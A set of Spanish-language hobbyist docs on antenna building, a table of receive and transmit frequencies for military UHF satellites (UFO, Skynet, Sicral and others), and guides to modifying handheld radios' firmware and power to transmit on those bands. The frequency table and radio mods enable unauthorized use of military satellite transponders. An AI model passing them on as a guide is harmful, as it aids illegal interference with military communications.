60 | De esta forma se pueden obtener antenas pequeñas y estar seguro de que la polarización es correcta
61 |
62 |
63 |
64 |
65 | Se suelen conseguir en ebay de equipos de radio militares antiguos desmontados.
66 |
67 | ### Fuentes:
68 |
69 | [Alicia Space](https://alicja.space/blog/how-to-build-turnstile-antenna/)
70 | [Qsl](https://www.qsl.net/sv1bsx/antenna-pol/polarization.html)
71 | [Anaren](https://twitter.com/tvoje___mama/status/1504770518033051684)
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/docs/es/antenas/turnstile.md:
--------------------------------------------------------------------------------
1 | # Turnstile antenna
2 |
3 | Esta antena es mejor que la dipolo ya que tiene polarización circular y también tiene un reflector para evitar irradiar en dirección al suelo.
4 | Es basicamente una cross-yagi sin los elementos directores por lo que irradia en todas las direcciones.
5 |
6 |
7 |
8 | Para la VF (factor de velocidad) de cada material se puede utilizar la siguiente tabla:
9 |
10 | | Material | VF |
11 | | ------------------------------------- | ----------- |
12 | | Aluminio | 0.94 |
13 | | Bronce | 0.95 |
14 | | Cobre | 0.95 |
15 | | Auslantes (PVC,PE,Teflon) | 0.94-0.98 |
16 | | Hierro | 0.90 |
17 | | Acero | 0.90 |
18 | | Cobre aislado (Cobre*Aislante) | 0.95*0.96 |
19 |
20 | Haremos un ejemplo para 280mhz con barras de acero
21 |
22 | ```
23 | 280mhz = 28000000hz
24 | λ = c/f = 299792458/28000000 ≃ 300/280 = 1.071m
25 |
26 | X = 1.071/2 * 0.9 = 0.481m
27 | Y = 1.071/2 = 0.535m
28 | Z = 3/8 * 1.071 = 0.401m
29 | ```
30 |
31 | Ya que tiene polarizacion circular, se debe tener en cuenta el [cableado](/es/polarizacion.md)
32 |
33 |
34 |
35 | ### Fuentes:
36 |
37 | [Alicia Space](https://alicja.space/blog/how-to-build-turnstile-antenna/)
38 | [ARRL Antenna Book for Radio Communications](https://www.arrl.org/arrl-antenna-book)
--------------------------------------------------------------------------------
/docs/es/antenas/yagi.md:
--------------------------------------------------------------------------------
1 | # Yagi antenna
2 |
3 | No tiene sentido describir como se fabrica una antena de tipo yagi ya que hay muchisima literatura en internet al respecto.
4 | Solo se debe tener en cuenta que son mas direccionales que la turnstile y que si estan bien apuntadas hacia el satélite recibirán mejor.
5 |
6 | En caso de querer hacerla cross-yagi, se debe tener en cuenta el [cableado](/es/polarizacion.md)
7 |
8 |
9 |
10 | En estos enlaces se pueden ver algunos ejemplos de los diseños mas comunes para Satcom. Cuantos mas elementos tengan, mejor van a funcionar.
11 |
12 | [Yagi 4 elementos](https://satcomradio.github.io/_pdf/antennas/4EL.pdf)
13 | [Yagi 5 elementos](https://satcomradio.github.io/_pdf/antennas/5EL.pdf)
14 | [Yagi 8 elementos](https://satcomradio.github.io/_pdf/antennas/8EL.pdf)
15 | [Yagi 10 elementos](https://satcomradio.github.io/_pdf/antennas/10EL.pdf)
16 | [Yagi 11 elementos](https://satcomradio.github.io/_pdf/antennas/11EL.pdf)
17 |
18 | [Esta es la antena que yo utilizo pero con 6 elementos unicamente](https://satcomradio.github.io/_img/antennas/yagi.jpg)
19 |
20 | -----
21 |
22 | Si quieres usar un tubo cuadrado de 20x20mm y barras de 8 mm, puedes usar los siguientes stl e imprimirlos en 3d:
23 | [Radiante](https://satcomradio.github.io/_stl/Radiant.stl)
24 | [Director/Reflector](https://satcomradio.github.io/_stl/Director.stl)
--------------------------------------------------------------------------------
/docs/es/freq.md:
--------------------------------------------------------------------------------
1 | # Frecuencias
2 |
3 | Aqui tienes una tabla con la mayoria de frecuencias con su offset.
4 | Ten en cuenta que los distintos satélites tienen frecuencias diferentes, por lo que es posible que muchos de ellos no sean visibles desde tu ubicación.
5 | En algunas frecuencias todavia no se ha encontrado la frecuencia de TX. Puedes enviarme un [email](satcomradioham@gmail.com) en caso de que la quieras añadir.
6 | Todas las frecuencias han sido probadas con [Rikmotik SDR](https://rikmotik.ru/#freq=253650000,mod=nfm,sql=-22) o [Gudynas SDR](https://sdr.gudynas.lt/#freq=146400000,mod=nfm,sql=-150)
7 |
8 | | Rx | Tx | Offset | Satellite | Width | Notes |
9 | | ------- | ------- | ------ | ------------ | ------ | ------------------------------- |
10 | | 243.625 | 300.400 | 56.775 | Comsat BW2 | 30 khz | |
11 | | 243.625 | 316.725 | 73.100 | UFO 11 | 30 khz | |
12 | | 243.800 | 298.200 | 54.400 | Intelsat 22 | 30 khz | |
13 | | 243.915 | 317.015 | 73.100 | UFO 11 | 30 khz | |
14 | | 243.935 | 317.035 | 73.100 | UFO 11 | 6 khz | |
15 | | 243.945 | 317.045 | 73.100 | UFO 11 | 6 khz | |
16 | | 243.955 | 317.055 | 73.100 | UFO 11 | 6 khz | |
17 | | 243.965 | 317.065 | 73.100 | UFO 11 | 6 khz | |
18 | | 243.975 | 317.075 | 73.100 | UFO 11 | 6 khz | |
19 | | 243.985 | 317.085 | 73.100 | UFO 11 | 6 khz | Beacon 5s |
20 | | 243.990 | 317.090 | 73.100 | FLT 8 | 6 khz | |
21 | | 244.995 | 317.095 | 72.100 | FLT 8 | 6 khz | |
22 | | 244.000 | 317.100 | 73.100 | FLT 8 | 6 khz | |
23 | | 244.030 | 317.170 | 73.140 | UFO 11 | 6 khz | |
24 | | 244.040 | 317.230 | 73.190 | UFO 11 | 6 khz | |
25 | | 244.050 | 317.240 | 73.190 | UFO 11 | 6 khz | |
26 | | 244.060 | 317.210 | 73.150 | UFO 11 | 6 khz | |
27 | | 244.090 | 317.190 | 73.100 | UFO 11 | 6 khz | |
28 | | 244.115 | 317.215 | 73.100 | UFO 11 | 6 khz | |
29 | | 244.155 | 317.255 | 73.100 | UFO 11 | 6 khz | |
30 | | 244.165 | 317.265 | 73.100 | UFO 11 | 6 khz | |
31 | | 244.175 | 317.275 | 73.100 | UFO 11 | 6 khz | |
32 | | 244.185 | 317.285 | 73.100 | UFO 11 | 6 khz | |
33 | | 244.195 | 317.295 | 73.100 | UFO 11 | 6 khz | |
34 | | 244.205 | 317.305 | 73.100 | UFO 11 | 6 khz | |
35 | | 244.225 | 317.325 | 73.100 | UFO 11 | 30 khz | |
36 | | 244.275 | 301.025 | 56.750 | Comsat BW1 | 30 khz | |
37 | | 244.975 | 293.000 | 48.025 | Skynet 4C | 30 khz | |
38 | | 245.200 | 314.450 | 69.250 | UFO 10 | 30 khz | |
39 | | 245.800 | 309.410 | 63.610 | Skynet 5C | 30 khz | RU |
40 | | 245.850 | 314.230 | 68.380 | Skynet 5A | 30 khz | |
41 | | 245.950 | 313.000 | 67.050 | Skynet 5D | 30 khz | |
42 | | 246.250 | 295.600 | 49.350 | Skynet 4C | 30 khz | |
43 | | 246.700 | 297.700 | 51.000 | Skynet 4C | 30 khz | |
44 | | 247.450 | 298.800 | 51.350 | Skynet 5D | 30 khz | RU |
45 | | 248.450 | 298.950 | 50.500 | Skynet 4C? | 30 khz | |
46 | | 248.750 | 306.900 | 58.150 | Comsat BW2 | 30 khz | |
47 | | 248.825 | 294.375 | 45.550 | UFO 11 | 30 khz | |
48 | | 248.845 | 302.445 | 53.600 | UFO 11 | 6 khz | |
49 | | 248.855 | 302.455 | 53.600 | UFO 11 | 6 khz | |
50 | | 248.865 | 302.465 | 53.600 | UFO 11 | 6 khz | |
51 | | 248.875 | 302.475 | 53.600 | UFO 11 | 6 khz | |
52 | | 248.885 | 302.485 | 53.600 | UFO 11 | 6 khz | |
53 | | 248.895 | 302.495 | 53.600 | UFO 11 | 6 khz | |
54 | | 248.905 | 302.505 | 53.600 | UFO 11 | 6 khz | |
55 | | 248.915 | 302.515 | 53.600 | UFO 11 | 6 khz | |
56 | | 248.945 | 302.545 | 53.600 | UFO 11 | 6 khz | |
57 | | 248.955 | 302.555 | 53.600 | UFO 11 | 6 khz | |
58 | | 248.965 | 302.565 | 53.600 | UFO 11 | 6 khz | |
59 | | 248.975 | 302.575 | 53.600 | UFO 7 | 6 khz | |
60 | | 248.985 | 302.585 | 53.600 | UFO 7 | 6 khz | |
61 | | 248.990 | 302.525 | 53.535 | UFO 11 | 6 khz | |
62 | | 248.995 | 302.595 | 53.600 | UFO 7 | 6 khz | |
63 | | 249.000 | 302.600 | 53.600 | UFO 11 | 6 khz | |
64 | | 249.005 | 302.605 | 53.600 | UFO 7 | 6 khz | |
65 | | 249.015 | 302.615 | 53.600 | UFO 7 | 6 khz | |
66 | | 249.025 | 302.625 | 53.600 | UFO 7 | 6 khz | |
67 | | 249.035 | 302.635 | 53.600 | UFO 7 | 6 khz | |
68 | | 249.045 | 302.645 | 53.600 | UFO 7 | 6 khz | |
69 | | 249.050 | 302.650 | 53.600 | UFO 11 | 6 khz | |
70 | | 249.055 | 302.655 | 53.600 | UFO 7 | 6 khz | |
71 | | 249.065 | 302.665 | 53.600 | UFO 7 | 6 khz | |
72 | | 249.075 | 302.675 | 53.600 | UFO 7 | 6 khz | |
73 | | 249.085 | 302.685 | 53.600 | UFO 7 | 6 khz | |
74 | | 249.095 | 302.695 | 53.600 | UFO 7 | 6 khz | |
75 | | 249.100 | 302.700 | 53.600 | UFO 11 | 6 khz | |
76 | | 249.105 | 302.705 | 53.600 | UFO 10 | 6 khz | |
77 | | 249.115 | 302.715 | 53.600 | UFO 10 | 6 khz | |
78 | | 249.125 | 302.725 | 53.600 | UFO 10 | 6 khz | |
79 | | 249.135 | 302.735 | 53.600 | UFO 10 | 6 khz | |
80 | | 249.145 | 302.745 | 53.600 | UFO 10 | 6 khz | |
81 | | 249.155 | 302.755 | 53.600 | UFO 10 | 6 khz | |
82 | | 249.165 | 302.765 | 53.600 | UFO 10 | 6 khz | |
83 | | 249.175 | 302.775 | 53.600 | UFO 10 | 6 khz | |
84 | | 249.185 | 302.785 | 53.600 | UFO 10 | 6 khz | |
85 | | 249.195 | 302.795 | 53.600 | UFO 10 | 6 khz | |
86 | | 249.205 | 302.805 | 53.600 | UFO 10 | 6 khz | |
87 | | 249.215 | 302.815 | 53.600 | UFO 10 | 6 khz | |
88 | | 249.225 | 302.825 | 53.600 | UFO 10 | 6 khz | |
89 | | 249.250 | 302.850 | 53.600 | UFO 10 | 6 khz | |
90 | | 249.235 | 302.835 | 53.600 | UFO 11 | 6 khz | |
91 | | 249.245 | 302.845 | 53.600 | UFO 11 | 6 khz | |
92 | | 249.255 | 302.855 | 53.600 | UFO 11 | 6 khz | |
93 | | 249.265 | 302.865 | 53.600 | UFO 11 | 6 khz | |
94 | | 249.275 | 302.875 | 53.600 | UFO 11 | 6 khz | |
95 | | 249.285 | 302.885 | 53.600 | UFO 11 | 6 khz | |
96 | | 249.295 | 302.895 | 53.600 | UFO 11 | 6 khz | |
97 | | 249.300 | 302.900 | 53.600 | UFO 10 | 6 khz | |
98 | | 249.305 | 302.905 | 53.600 | UFO 11 | 6 khz | |
99 | | 249.315 | 302.915 | 53.600 | UFO 11 | 6 khz | |
100 | | 249.325 | 302.925 | 53.600 | UFO 11 | 6 khz | |
101 | | 249.335 | 302.935 | 53.600 | UFO 11 | 6 khz | |
102 | | 249.345 | 302.945 | 53.600 | UFO 11 | 6 khz | |
103 | | 249.350 | 302.950 | 53.600 | UFO 10 | 6 khz | |
104 | | 249.355 | 302.955 | 53.600 | UFO 11 | 6 khz | |
105 | | 249.400 | 300.975 | 51.575 | Comsat BW1 | 30 khz | |
106 | | 249.450 | 312.750 | 63.300 | Skynet 5C | 30 khz | Brazil |
107 | | 249.490 | 312.850 | 63.360 | Skynet 5B | 30 khz | |
108 | | 249.530 | 298.800 | 49.270 | Skynet 5C | 30 khz | Brazil |
109 | | 249.560 | 298.760 | 49.200 | Skynet 5B | 6 khz | |
110 | | 249.570 | ? | ? | Skynet 5B | 6 khz | |
111 | | 249.580 | 298.740 | 49.160 | Skynet 5B | 6 khz | |
112 | | 249.800 | 295.000 | 45.200 | Skynet 4C | 30 khz | |
113 | | 249.890 | 300.500 | 50.610 | Skynet 5D | 30 khz | |
114 | | 249.930 | 308.750 | 58.820 | Skynet 5B | 30 khz | |
115 | | 250.050 | ? | ? | Skynet 5B | 6 khz | |
116 | | 250.090 | 312.600 | 62.510 | Skynet 5B | 30 khz | |
117 | | 250.200 | 313.950 | 63.750 | Skynet 5C | 30 khz | |
118 | | 250.350 | 294.875 | 44.525 | ? | 30 khz | |
119 | | 250.700 | 295.050 | 44.350 | UFO 11 | 30 khz | |
120 | | 250.900 | 308.300 | 57.400 | Comsat BW2 | 30 khz | |
121 | | 250.950 | 299.500 | 48.550 | Skynet 5B | 30 khz | |
122 | | 251.575 | 308.450 | 56.875 | ? | 30 khz | |
123 | | 251.600 | 298.225 | 46.625 | Intelsat 22 | 30 khz | |
124 | | 251.850 | 292.850 | 41.000 | UFO 11 | 30 khz | |
125 | | 251.950 | 292.950 | 41.000 | UFO 10 | 30 khz | Brazil |
126 | | 252.050 | 293.050 | 41.000 | UFO 10 | 30 khz | Brazil |
127 | | 252.150 | 293.150 | 41.000 | Intelsat 22 | 30 khz | |
128 | | 252.200 | 315.250 | 63.050 | Sicral 2 | 30 khz | |
129 | | 252.250 | 316.350 | 64.100 | Sicral 2 | 30 khz | |
130 | | 252.300 | 293.300 | 41.000 | Intelsat 22 | 30 khz | |
131 | | 252.350 | 310.225 | 57.875 | Sicral 1B | 30 khz | |
132 | | 252.400 | 293.275 | 40.875 | Sicral 1B | 30 khz | |
133 | | 252.450 | 309.750 | 57.300 | Sicral 1B | 30 khz | |
134 | | 252.500 | 309.800 | 57.300 | Sicral 1B | 30 khz | |
135 | | 252.550 | 293.200 | 40.650 | Sicral 1B | 30 khz | |
136 | | 252.625 | 311.450 | 58.825 | Sicral 1B | 30 khz | |
137 | | 252.750 | 306.300 | 53.550 | Skynet 5B | 30 khz | |
138 | | 253.300 | 307.800 | 54.500 | Skynet 5B | 30 khz | |
139 | | 253.550 | 294.550 | 41.000 | UFO11 | 30 khz | |
140 | | 253.600 | 316.250 | 62.650 | Sicral 2? | 30 khz | Not sicral 2. UFO10? Skynet 5C? |
141 | | 253.625 | 296.000 | 42.375 | UFO 11 | 30 khz | |
142 | | 253.650 | 294.650 | 41.000 | UFO 2? | 30 khz | |
143 | | 253.675 | 294.425 | 40.750 | | 30 khz | |
144 | | 253.725 | 294.450 | 40.725 | Intelsat 22 | 30 khz | |
145 | | 253.750 | 294.750 | 41.000 | UFO 10 | 30 khz | Brazil |
146 | | 253.825 | 294.050 | 40.225 | Skynet 5C | 30 khz | |
147 | | 253.850 | 294.850 | 41.000 | UFO 10 | 30 khz | Brazil/German |
148 | | 253.900 | 307.500 | 53.600 | Skynet 5C | 30 khz | Noise |
149 | | 253.950 | 312.800 | 58.850 | Skynet 5D | 30 khz | |
150 | | 253.975 | 294.975 | 41.000 | Intelsat 22 | 6 khz | |
151 | | 254.000 | 298.630 | 44.630 | UFO 11 | 30 khz | |
152 | | 254.025 | 295.025 | 41.000 | Intelsat 22 | 6 khz | |
153 | | 254.200 | | | | | |
154 | | 254.500 | 308.100 | 53.600 | Intelsat 22 | 6 khz | |
155 | | 254.530 | 308.130 | 53.600 | Intelsat 22 | 6 khz | |
156 | | 254.625 | 295.625 | 41.000 | Intelsat 22 | 6 khz | |
157 | | 254.730 | 312.550 | 57.820 | Skynet 5D | 30 khz | |
158 | | 254.775 | 317.825 | 63.050 | Comsat BW2 | 30 khz | DMR |
159 | | 255.000 | | | | | Brazil |
160 | | 255.100 | 318.175 | 63.075 | Sicral 2? | 30 khz | |
161 | | 255.250 | 296.250 | 41.000 | UFO 11 | 30 khz | |
162 | | 255.275 | 297.400 | 42.125 | | 30 khz | |
163 | | 255.350 | 296.350 | 41.000 | UFO 2 | 30 khz | RU |
164 | | 255.450 | 296.450 | 41.000 | UFO 10? | 30 khz | Brazil |
165 | | 255.650 | 296.650 | 41.000 | Intelsat 22 | 6 khz | |
166 | | 255.675 | 296.675 | 41.000 | Intelsat 22 | 30 khz | |
167 | | 255.775 | 309.300 | 53.525 | Comsat BW1 | 30 khz | |
168 | | 255.850 | 296.850 | 41.000 | Intelsat 22 | 6 khz | |
169 | | 256.450 | 313.850 | 57.400 | Skynet 5D | 30 khz | |
170 | | 256.650 | 311.700 | 55.050 | ? | 30 khz | |
171 | | 256.850 | 297.850 | 41.000 | UFO 11 | 30 khz | |
172 | | 256.875 | 293.950 | 37.075 | Skynet 5C | 30 khz | Beacon |
173 | | 256.950 | 297.950 | 41.000 | UFO 2 | 30 khz | |
174 | | 256.975 | 316.850 | 59.875 | Intelsat 22 | 30 khz | |
175 | | 257.050 | 298.050 | 41.000 | UFO 10 | 30 khz | Brazil |
176 | | 257.075 | 297.450 | 40.375 | ? | 30 khz | |
177 | | 257.150 | 298.150 | 41.000 | FLT 8 | 30 khz | Beacon (Alarm) |
178 | | 257.175 | 298.125 | 40.950 | UFO 11 | 30 khz | |
179 | | 257.200 | 308.800 | 51.600 | UFO/Sicral 2 | 30 khz | |
180 | | 257.250 | 316.900 | 59.650 | UFO/Sicral 2 | 30 khz | Spanish |
181 | | 257.300 | 309.725 | 52.425 | UFO/Sicral 2 | 30 khz | |
182 | | 257.350 | 307.200 | 49.850 | UFO/Sicral 2 | 30 khz | |
183 | | 257.450 | 305.950 | 48.500 | Skynet 5C | 30 khz | Spanish/Romanian |
184 | | 257.500 | 311.350 | 53.850 | UFO 10 | 30 khz | Brazil |
185 | | 257.600 | 305.950 | 48.350 | Skynet 5A | 30 khz | |
186 | | 257.700 | 316.150 | 58.450 | Skynet 4E | 30 khz | |
187 | | 257.750 | 308.400 | 50.650 | Skynet 4C | 30 khz | 257.755 Ita |
188 | | 257.775 | 311.375 | 53.600 | Intelsat 22? | 30 khz | |
189 | | 257.825 | 297.075 | 39.250 | Skynet 5C | 30 khz | |
190 | | 258.225 | 299.3 | 41.075 | UFO 2 | 30 khz | DMR in 258.215 |
191 | | 258.350 | 299.350 | 41.000 | UFO 11 | 30 khz | |
192 | | 258.450 | 299.450 | 41.000 | UFO 2 | 30 khz | Spanish |
193 | | 258.500 | 299.500 | 41.000 | UFO 11 | 30 khz | |
194 | | 258.550 | 299.550 | 41.000 | UFO 10 | 30 khz | Brazil |
195 | | 258.600 | 294.825 | 36.225 | ? | 30 khz | Buzzer tone |
196 | | 258.650 | 299.650 | 41.000 | UFO 11 | 30 khz | DMR |
197 | | 258.700 | 312.900 | 54.200 | Skynet 4C | 30 khz | |
198 | | 258.950 | | | | | |
199 | | 259.000 | 317.925 | 58.925 | Comsat BW2 | 30 khz | |
200 | | 259.050 | 307.45 | 48.400 | Comsat BW1 | 30 khz | Buzzer tone |
201 | | 259.975 | 309.7 | 49.725 | Sicral 1B | 30 khz | |
202 | | 260.025 | 293.250 | 33.225 | Sicral 1B | 30 khz | Buzzer tone |
203 | | 260.075 | 310.275 | 50.200 | Sicral 1B | 30 khz | |
204 | | 260.125 | 310.125 | 50.000 | Sicral 1B | 30 khz | DMR |
205 | | 260.175 | 309.875 | 49.700 | Sicral 1B | 30 khz | |
206 | | 260.250 | 314.400 | 54.150 | Skynet 5B | 30 khz | |
207 | | 260.375 | 293.975 | 33.600 | UFO 11 | 30 khz | |
208 | | 260.425 | 294.025 | 33.600 | UFO 10 | 30 khz | Brazil |
209 | | 260.450 | 297.575 | 37.125 | UFO 11 | 30 khz | |
210 | | 260.475 | 294.075 | 33.600 | UFO 11 | 30 khz | |
211 | | 260.500 | 317.130 | 56.630 | UFO 11 | 6 khz | |
212 | | 260.525 | 294.125 | 33.600 | UFO 10 | 30 khz | Brazil |
213 | | 260.550 | 293.800 | 33.250 | Intelsat 22 | 30 khz | |
214 | | 260.575 | 294.175 | 33.600 | UFO 10 | 30 khz | Brazil |
215 | | 260.625 | 294.225 | 33.600 | UFO 11 | 30 khz | |
216 | | 260.650 | 297.100 | 36.450 | ? | 30 khz | |
217 | | 260.675 | 294.275 | 33.600 | UFO 10 | 30 khz | Brazil |
218 | | 260.725 | 294.325 | 33.600 | UFO 11 | 30 khz | UFO 4 |
219 | | 260.900 | 313.050 | 52.150 | Skynet 5D | 30 khz | |
220 | | 260.950 | 299.400 | 38.450 | UFO 7 | 30 khz | Brazil |
221 | | 261.100 | 298.700 | 37.600 | Skynet 5A | 30 khz | DMR |
222 | | 261.200 | 294.950 | 33.750 | Skynet 5B | 30 khz | Italian |
223 | | 261.400 | 316.550 | 55.150 | Skynet 4C | 30 khz | |
224 | | 261.575 | 295.175 | 33.600 | UFO 11 | 30 khz | |
225 | | 261.600 | 306.975 | 45.375 | Intelsat 22 | 30 khz | |
226 | | 261.625 | 295.225 | 33.600 | UFO 10 | 30 khz | Brazil |
227 | | 261.650 | 309.650 | 48.000 | Intelsat 22 | 30 khz | |
228 | | 261.675 | 295.275 | 33.600 | UFO 11 | 30 khz | |
229 | | 261.700 | 296.525 | 34.825 | UFO 11 | 30 khz | |
230 | | 261.725 | 295.325 | 33.600 | UFO 10 | 30 khz | Brazil |
231 | | 261.775 | 295.375 | 33.600 | UFO 11 | 30 khz | |
232 | | 261.800 | ? | ? | ? | 30 khz | |
233 | | 261.825 | 295.425 | 33.600 | UFO 10 | 30 khz | Alarm |
234 | | 261.850 | 300.275 | 38.425 | Intelsat 22 | 30 khz | |
235 | | 261.875 | 295.475 | 33.600 | UFO 11 | 30 khz | |
236 | | 261.900 | 316.825 | 54.925 | ? | 30 khz | |
237 | | 261.925 | 295.525 | 33.600 | UFO 10 | 30 khz | Brazil. Old 296.925 |
238 | | 261.950 | 294.625 | 32.675 | UFO 11 | 30 khz | |
239 | | 261.975 | 294.000 | 32.025 | UFO 11 | 30 khz | |
240 | | 262.000 | 314.200 | 52.200 | Skynet 5D | 30 khz | |
241 | | 262.025 | 316.650 | 54.625 | Intelsat 22? | 30 khz | |
242 | | 262.075 | 295.675 | 33.600 | UFO 10 | 30 khz | Brazil |
243 | | 262.175 | 295.775 | 33.600 | UFO7 | 30 khz | Brazil |
244 | | 262.275 | 300.275 | 38.000 | UFO7 | 30 khz | Brazil |
245 | | 262.300 | 295.900 | 33.600 | FLT 8 | 30 khz | |
246 | | 262.375 | 295.975 | 33.600 | UFO 10 | 30 khz | Brazil |
247 | | 263.400 | 316.400 | 53.000 | Skynet 5B | 30 khz | |
248 | | 263.450 | 311.400 | 47.950 | Skynet 5B | 30 khz | |
249 | | 263.500 | 315.200 | 51.700 | Skynet 5B | 30 khz | |
250 | | 263.575 | 297.175 | 33.600 | UFO 11 | 30 khz | |
251 | | 263.600 | 317.140 | 53.540 | UFO 11 | 6 khz | |
252 | | 263.650 | 295.075 | 31.425 | UFO 10 | 30 khz | Brazil |
253 | | 263.675 | 297.275 | 33.600 | UFO 11 | 30 khz | |
254 | | 263.700 | 295.125 | 31.425 | UFO 10 | 30 khz | Brazil |
255 | | 263.725 | 298.525 | 34.800 | UFO 11 | 30 khz | |
256 | | 263.750 | 317.150 | 53.400 | UFO 11 | 6 khz | |
257 | | 263.775 | 297.375 | 33.600 | UFO 2 | 30 khz | |
258 | | 263.800 | 297.250 | 33.450 | UFO 11 | 30 khz | |
259 | | 263.825 | 297.425 | 33.600 | UFO 11 | 30 khz | |
260 | | 263.875 | 297.475 | 33.600 | UFO 2 | 30 khz | Ukraine |
261 | | 263.925 | 297.525 | 33.600 | UFO 11 | 30 khz | |
262 | | 265.250 | 306.250 | 41.000 | UFO 11 | 30 khz | |
263 | | 265.325 | 295.100 | 29.775 | UFO 11 | 30 khz | |
264 | | 265.350 | 306.345 | 41.000 | UFO 10 | 30 khz | Brazil |
265 | | 265.375 | 295.200 | 29.825 | UFO 11 | 30 khz | |
266 | | 265.450 | 306.450 | 41.000 | UFO 10 | 30 khz | |
267 | | 265.475 | 295.500 | 30.025 | UFO 11 | 30 khz | |
268 | | 265.550 | 306.550 | 41.000 | UFO 11 | 30 khz | |
269 | | 265.675 | 306.675 | 41.000 | Intelsat 22 | 30 khz | |
270 | | 265.850 | 306.850 | 41.000 | Intelsat 22 | 30 khz | |
271 | | 266.750 | 316.575 | 49.825 | UFO 11 | 30 khz | |
272 | | 266.850 | 307.850 | 41.000 | UFO 10 | 30 khz | |
273 | | 266.950 | 307.950 | 41.000 | UFO 10 | 30 khz | |
274 | | 266.975 | 297.500 | 30.525 | UFO 11 | 30 khz | |
275 | | 267.050 | 308.050 | 41.000 | Intelsat 22 | 30 khz | |
276 | | 267.100 | 308.100 | 41.000 | Sicral 2 | 30 khz | |
277 | | 267.150 | 308.150 | 41.000 | Sicral 2 | 30 khz | |
278 | | 267.200 | 308.200 | 41.000 | Sicral 2 | 30 khz | |
279 | | 267.250 | 308.250 | 41.000 | Sicral 2 | 30 khz | |
280 | | 267.400 | 294.900 | 27.500 | UFO 11 | 30 khz | |
281 | | 267.575 | 297.625 | 30.050 | UFO 11 | 30 khz | |
282 | | 267.875 | 310.375 | 42.500 | Sicral 1B | 30 khz | |
283 | | 267.950 | 310.075 | 42.125 | Sicral 1B | 30 khz | |
284 | | 268.000 | 310.5 | 42.500 | Sicral 1B | 30 khz | Czech |
285 | | 268.050 | 309.95 | 41.900 | Sicral 1B | 30 khz | Czech |
286 | | 268.100 | 293.325 | 25.225 | Sicral 1B | 30 khz | |
287 | | 268.150 | 309.150 | 41.000 | UFO 11 | 30 khz | |
288 | | 268.200 | 296.050 | 27.850 | UFO 11 | 30 khz | |
289 | | 268.250 | 309.250 | 41.000 | UFO 10 | 30 khz | Brazil |
290 | | 268.350 | 309.350 | 41.000 | UFO 10 | 30 khz | |
291 | | 268.450 | 297.150 | 28.700 | UFO 11 | 30 khz | |
292 | | 268.950 | ? | ? | ? | 30 khz | |
293 | | 269.650 | 302.425 | 32.775 | UFO 11 | 30 khz | |
294 | | 269.725 | 295.150 | 25.425 | UFO 11 | 30 khz | |
295 | | 269.750 | 310.750 | 41.000 | UFO 10 | 30 khz | |
296 | | 269.850 | 310.850 | 41.000 | UFO 10 | 30 khz | Brazil |
297 | | 269.925 | 295.550 | 25.625 | UFO 11 | 30 khz | |
298 | | 269.950 | 310.950 | 41.000 | UFO 11 | 30 khz | |
299 |
300 |
301 | --------
302 |
303 | Last Update: 01/06/2025
304 |
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/docs/es/radios/quansheng-uvk5.md:
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1 | # Quansheng UV-k5
2 |
3 | Los UV-k5 (Y tambien los UV-k5(8)/UV-k6) tienen una potencia bastante baja en la gama de frecuencias de satcom (1,4W).
4 |
5 | Para mejorar la potencia de salida y la sensibilidad se recomienda hacer la siguiente modificación:
6 |
7 |
8 |
9 | Tras esta modificación obtendremos unos 5W de potencia de salida.
10 |
11 | Se recomienda instalar firmwares personalizados como el de Matoz.
12 | Es recomendable utilizar una antena directiva (yagi) o un [amplificador](/es/amplificadores/index.md) debido a la baja potencia de emision.
13 |
14 | ---
15 |
16 | [Canal de UV-K5 en ingles](https://t.me/quansheng_uvk5_en_dev)
17 | [Canal de UV-K5 en español](https://t.me/QuanShengES)
18 |
--------------------------------------------------------------------------------
/docs/es/radios/tidradio-h3.md:
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1 | # Tidradio H3
2 |
3 |
4 |
5 | Este transciever permite trabajar con satcom **sin modificaciones de hardware, solo cambiando el firmware**.
6 | Dependiendo del firmware se pueden conseguir unos 6-8W.
7 |
8 | Para hacerlo funcionar tienes que actualizar el software con el .exe IAP que puedes descargar [aqui](https://satcomradio.github.io/_files/TD-H3_IAP.zip).
9 |
10 | Puedes usar el firmware R3 que puedes conseguir en la [pagina oficial de github](https://github.com/yobabyte/tid_umod/releases) [mirror](https://satcomradio.github.io/_files/uMod_R3.bin)
11 | o alternativamente, usar el firmware R2 que te dara 2W mas de potencia y puedes descargarlo [aqui](https://satcomradio.github.io/_files/uMod_R2b.bin)
12 |
13 | Los pasos son los siguientes:
14 | 1. Apaga la radio
15 | 2. Abre el software TD-H3_IAP
16 | 3. Selecciona el firmware .bin que quieras cargar
17 | 4. Selecciona el puerto
18 | 5. Pulse el boton START
19 | 6. Enciende la radio mientras pulsas el boton PTT
20 |
21 | Ahora deberia aparecer una barra de progreso en la parte inferior y el firmware deberia estar cargado.
22 | Puedes usar el CPS estandar de TidRadio para cargar los canales
23 |
24 | 7. Una vez cargado activa el menu TX en: 52,53,54
25 | 8. En la pantalla principal de la radio, manten pulsado el boton 7 y entra en el "menu secreto"
26 | 9. Pon el filtro VHF/UHF en "280 Mhz"
27 |
28 | [Canal ruso de Telegram](https://t.me/TD_H3)
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/docs/es/radios/wouxun-kg-uv7h.md:
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1 | # Wouxun KG-UV7H
2 |
3 |
4 |
5 | Esta radio funciona directamente en satcom sin hacer modificaciones y con una potencia de 7W.
6 |
7 | [Related website](https://www.wouxunshop.com/Dual-Band-Two-Way-Radio-KG-UV7H-p1481750.html)
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/docs/es/radios/wouxun-kg-uvr5.md:
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1 | # Wouxun KG-UVR5
2 |
3 |
4 |
5 | Esta radio funciona directamente en satcom sin hacer modificaciones y con una potencia de 40-50W.
6 | Si quieres expandir el TX hasta los 320Mhz, modificar la potencia de salida, cambiar la ganancia del microfono o poner un paso de 2,5khz
7 | puedes hacerlo con el [driver de Chirp](https://github.com/SatcomRadio/wouxun_kguvr5_chirp_driver)
8 |
9 | [Related website](https://www.wouxunshop.com/Dual-Frequency-Car-Mobile-Radio-KG-UVR5-p1476572.html)
--------------------------------------------------------------------------------
/docs/es/radios/zastone-uv008.md:
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1 | # Zastone uv008
2 |
3 | El Zastone (también se vende como Vitai) uv008 es un transmisor portatil capaz de comunicarse con Satcom en DMR.
4 |
5 |
6 |
7 | Existen 3 versiones de esta radio. La única versión que funciona con satcom sin modificar el software es la v3.
8 | A partir del 2023, todos los modelos fabricados por Zastone son el modelo v3
9 |
10 |
11 |
12 | Tiene una potencia de unos 10W en las frecuencias de satcom.
13 | Las únicas limitaciones son el firmware y el software para su programacion (CPS)
14 |
15 | Para transmitir en DMR hay que tener el TX en el VFO A y el RX en el VFO B (o a la inversa) ya que el firmware no acepta offsets cuando se usa DMR
16 |
17 |
18 |
